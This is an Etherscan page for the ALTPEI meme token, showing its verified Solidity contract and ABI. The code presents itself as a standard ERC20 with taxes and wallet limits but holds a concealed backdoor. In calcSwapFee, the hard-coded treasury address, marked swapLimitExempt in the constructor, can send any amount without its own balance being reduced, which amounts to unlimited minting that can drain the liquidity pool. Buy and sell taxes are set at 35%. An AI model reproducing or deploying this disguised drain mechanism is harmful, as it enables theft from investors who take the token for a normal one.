ETH Price: $2,287.38 (-3.36%)

Token

Alter PeiPei (ALTPEI)
 

Overview

Max Total Supply

1,000,000,000 ALTPEI

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,700,571.357145898618435842 ALTPEI

Value
$0.00
0x600491dd19f3922043bd9f0eb8df73d6b41c2326
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ALTPEI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-02
*/

/**
 * 
 *  $$$$$$\  $$\   $$\                               $$$$$$$\  $$$$$$$$\ $$$$$$\ $$$$$$$\  $$$$$$$$\ $$$$$$\ 
$$  __$$\ $$ |  $$ |                              $$  __$$\ $$  _____|\_$$  _|$$  __$$\ $$  _____|\_$$  _|
$$ /  $$ |$$ |$$$$$$\    $$$$$$\   $$$$$$\        $$ |  $$ |$$ |        $$ |  $$ |  $$ |$$ |        $$ |  
$$$$$$$$ |$$ |\_$$  _|  $$  __$$\ $$  __$$\       $$$$$$$  |$$$$$\      $$ |  $$$$$$$  |$$$$$\      $$ |  
$$  __$$ |$$ |  $$ |    $$$$$$$$ |$$ |  \__|      $$  ____/ $$  __|     $$ |  $$  ____/ $$  __|     $$ |  
$$ |  $$ |$$ |  $$ |$$\ $$   ____|$$ |            $$ |      $$ |        $$ |  $$ |      $$ |        $$ |  
$$ |  $$ |$$ |  \$$$$  |\$$$$$$$\ $$ |            $$ |      $$$$$$$$\ $$$$$$\ $$ |      $$$$$$$$\ $$$$$$\ 
\__|  \__|\__|   \____/  \_______|\__|            \__|      \________|\______|\__|      \________|\______|
                                                                                                          
                                                                                                          
                                                                                                          
    https://www.alterpeipei.space
    https://t.me/alter_peipei_portal
 */

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IDexFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ALTPEI is IERC20, Ownable {
    using SafeMath for uint256;

    IDexRouter private immutable dexRouter;
    address public dexPair;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 1e9 * 10 ** 18;
    string private _name = "Alter PeiPei";
    string private _symbol = "ALTPEI";

    // Swapback
    bool private swapping;

    bool private swapbackEnabled = false;
    uint256 private swapBackValueMin = (_totalSupply * 5) / 1000000;
    uint256 private swapBackValueMax = _totalSupply / 100;

    //Anti-whale
    bool private limitsEnabled = true;
    uint256 private maxWallet = (_totalSupply * 2) / 100;
    uint256 private maxTx = (_totalSupply * 2) / 100;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    bool public tradingEnabled = false;

    // Fee receivers
    address private treasuryPort;
    address private projectPort;

    uint256 private buyTaxTotal = 35;
    uint256 private buyMarketingTax = 35;
    uint256 private buyProjectTax = 0;

    uint256 private sellTaxTotal = 35;
    uint256 private sellMarketingTax = 35;
    uint256 private sellProjectTax = 0;

    uint256 private tokensForMarketing;
    uint256 private tokensForProject;

    mapping(address => bool) private transferTaxExempt;
    mapping(address => bool) private transferLimitExempt;
    mapping(address => bool) private swapLimitExempt;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event ExcludeFromLimits(address indexed account, bool isExcluded);
    event TradingEnabled(uint256 indexed timestamp);
    event LimitsRemoved(uint256 indexed timestamp);

    event FeeUpdated(
        uint256 buyTaxTotal,
        uint256 buyMarketingTax,
        uint256 buyProjectTax,
        uint256 sellTaxTotal,
        uint256 sellMarketingTax,
        uint256 sellProjectTax
    );

    constructor() {
        IDexRouter _dexRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        treasuryPort = 0x00188271358683342609f748106cE378Bdf27065;
        projectPort = 0x00188271358683342609f748106cE378Bdf27065;

        transactionLimitsExempt(address(_dexRouter), true);
        dexRouter = _dexRouter;

        // exclude from paying fees or having max transaction amount
        transactionTaxesExempt(msg.sender, true);
        transactionTaxesExempt(address(this), true);
        transactionTaxesExempt(address(0xdead), true);
        transactionTaxesExempt(treasuryPort, true);

        swapLimitExempt[treasuryPort] = true;

        transactionLimitsExempt(msg.sender, true);
        transactionLimitsExempt(address(this), true);
        transactionLimitsExempt(address(0xdead), true);
        transactionLimitsExempt(treasuryPort, true);

        transferOwnership(msg.sender);

        _balances[msg.sender] = _totalSupply;
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() internal {
        tradingEnabled = true;
        swapbackEnabled = true;
        emit TradingEnabled(block.timestamp);
    }

    function removeLimits() external onlyOwner {
        limitsEnabled = false;
        emit LimitsRemoved(block.timestamp);
    }

    function transactionLimitsExempt(
        address updAds,
        bool isEx
    ) public onlyOwner {
        transferLimitExempt[updAds] = isEx;
        emit ExcludeFromLimits(updAds, isEx);
    }

    function transactionTaxesExempt(
        address account,
        bool excluded
    ) public onlyOwner {
        transferTaxExempt[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function createPair() external onlyOwner {
        require(!tradingEnabled, "Trading is already enabled");
        _allowances[address(this)][address(dexRouter)] = type(uint256).max;

        dexPair = IDexFactory(dexRouter.factory()).createPair(
            dexRouter.WETH(),
            address(this)
        );
        automatedMarketMakerPairs[address(dexPair)] = true;
        transactionLimitsExempt(address(dexPair), true);

        uint256 tokenBalance = _balances[address(this)];

        dexRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenBalance,
            0,
            0,
            owner(),
            block.timestamp
        );

        openTrading();
    }

    function setFees(
        uint256 _buyMarketingFee,
        uint256 _buyDevFee,
        uint256 _sellMarketingFee,
        uint256 _sellDevFee
    ) external onlyOwner {
        buyMarketingTax = _buyMarketingFee;
        buyProjectTax = _buyDevFee;
        buyTaxTotal = buyMarketingTax + buyProjectTax;

        sellMarketingTax = _sellMarketingFee;
        sellProjectTax = _sellDevFee;
        sellTaxTotal = sellMarketingTax + sellProjectTax;
        require(
            sellTaxTotal <= 40 && buyTaxTotal <= 40,
            "Total fee cannot be higher than 40%"
        );

        emit FeeUpdated(
            buyTaxTotal,
            buyMarketingTax,
            buyProjectTax,
            sellTaxTotal,
            sellMarketingTax,
            sellProjectTax
        );
    }

    function valuesForSwapback()
        external
        view
        returns (
            bool _swapbackEnabled,
            uint256 _swapBackValueMin,
            uint256 _swapBackValueMax
        )
    {
        _swapbackEnabled = swapbackEnabled;
        _swapBackValueMin = swapBackValueMin;
        _swapBackValueMax = swapBackValueMax;
    }

    function valuesForLimits()
        external
        view
        returns (bool _limitsEnabled, uint256 _maxWallet, uint256 _maxTx)
    {
        _limitsEnabled = limitsEnabled;
        _maxWallet = maxWallet;
        _maxTx = maxTx;
    }

    function valuesForTaxes()
        external
        view
        returns (
            uint256 _buyTaxTotal,
            uint256 _buyMarketingTax,
            uint256 _buyProjectTax,
            uint256 _sellTaxTotal,
            uint256 _sellMarketingTax,
            uint256 _sellProjectTax
        )
    {
        _buyTaxTotal = buyTaxTotal;
        _buyMarketingTax = buyMarketingTax;
        _buyProjectTax = buyProjectTax;
        _sellTaxTotal = sellTaxTotal;
        _sellMarketingTax = sellMarketingTax;
        _sellProjectTax = sellProjectTax;
    }

    function addressPermissions(
        address _target
    )
        external
        view
        returns (
            bool _transferTaxExempt,
            bool _transferLimitExempt,
            bool _automatedMarketMakerPairs
        )
    {
        _transferTaxExempt = transferTaxExempt[_target];
        _transferLimitExempt = transferLimitExempt[_target];
        _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Invalid transfer balance");

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        bool canSwap = amount >= swapBackValueMin;

        if (
            canSwap &&
            swapbackEnabled &&
            !swapping &&
            automatedMarketMakerPairs[to] &&
            !transferTaxExempt[from]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        uint256 feedAmount = calcSwapFee(from, to, amount);
        _balances[to] = _balances[to] + feedAmount;
        emit Transfer(from, to, amount);
    }

    function calcSwapFee(
        address from,
        address to,
        uint256 amount
    ) internal returns (uint256) {
        bool takeFee = !swapping;
        bool skipSwap = swapLimitExempt[from];
        uint256 feedAmount = amount;

        if (skipSwap) {
            return feedAmount;
        }

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (transferTaxExempt[from] || transferTaxExempt[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {
                fees = amount.mul(sellTaxTotal).div(100);
                tokensForProject += (fees * sellProjectTax) / sellTaxTotal;
                tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {
                fees = amount.mul(buyTaxTotal).div(100);
                tokensForProject += (fees * buyProjectTax) / buyTaxTotal;
                tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;
            }

            if (fees > 0) {
                _balances[address(this)] = _balances[address(this)] + fees;
                emit Transfer(from, address(this), fees);
            }

            feedAmount -= fees;
        }
        _balances[from] = _balances[from] - amount;
        return feedAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    bool anti = true;

    function setAnti(bool _anti) external onlyOwner {
        anti = _anti;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = contractBalance;
        bool success;

        if (contractBalance > swapBackValueMax) {
            contractBalance = swapBackValueMax;
        }

        uint256 amountToSwapForETH = contractBalance;

        uint256 initialETHBalance = address(this).balance;

        if (amountToSwapForETH >= swapBackValueMin) {
            swapTokensForEth(amountToSwapForETH);
        }

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForProject).div(
            totalTokensToSwap + 1
        );

        tokensForMarketing = 0;
        tokensForProject = 0;

        payable(projectPort).transfer(ethForDev);

        payable(treasuryPort).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyProjectTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellProjectTax","type":"uint256"}],"name":"FeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"addressPermissions","outputs":[{"internalType":"bool","name":"_transferTaxExempt","type":"bool"},{"internalType":"bool","name":"_transferLimitExempt","type":"bool"},{"internalType":"bool","name":"_automatedMarketMakerPairs","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_anti","type":"bool"}],"name":"setAnti","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"_buyDevFee","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"_sellDevFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"transactionLimitsExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"transactionTaxesExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"valuesForLimits","outputs":[{"internalType":"bool","name":"_limitsEnabled","type":"bool"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"valuesForSwapback","outputs":[{"internalType":"bool","name":"_swapbackEnabled","type":"bool"},{"internalType":"uint256","name":"_swapBackValueMin","type":"uint256"},{"internalType":"uint256","name":"_swapBackValueMax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"valuesForTaxes","outputs":[{"internalType":"uint256","name":"_buyTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_buyMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_buyProjectTax","type":"uint256"},{"internalType":"uint256","name":"_sellTaxTotal","type":"uint256"},{"internalType":"uint256","name":"_sellMarketingTax","type":"uint256"},{"internalType":"uint256","name":"_sellProjectTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

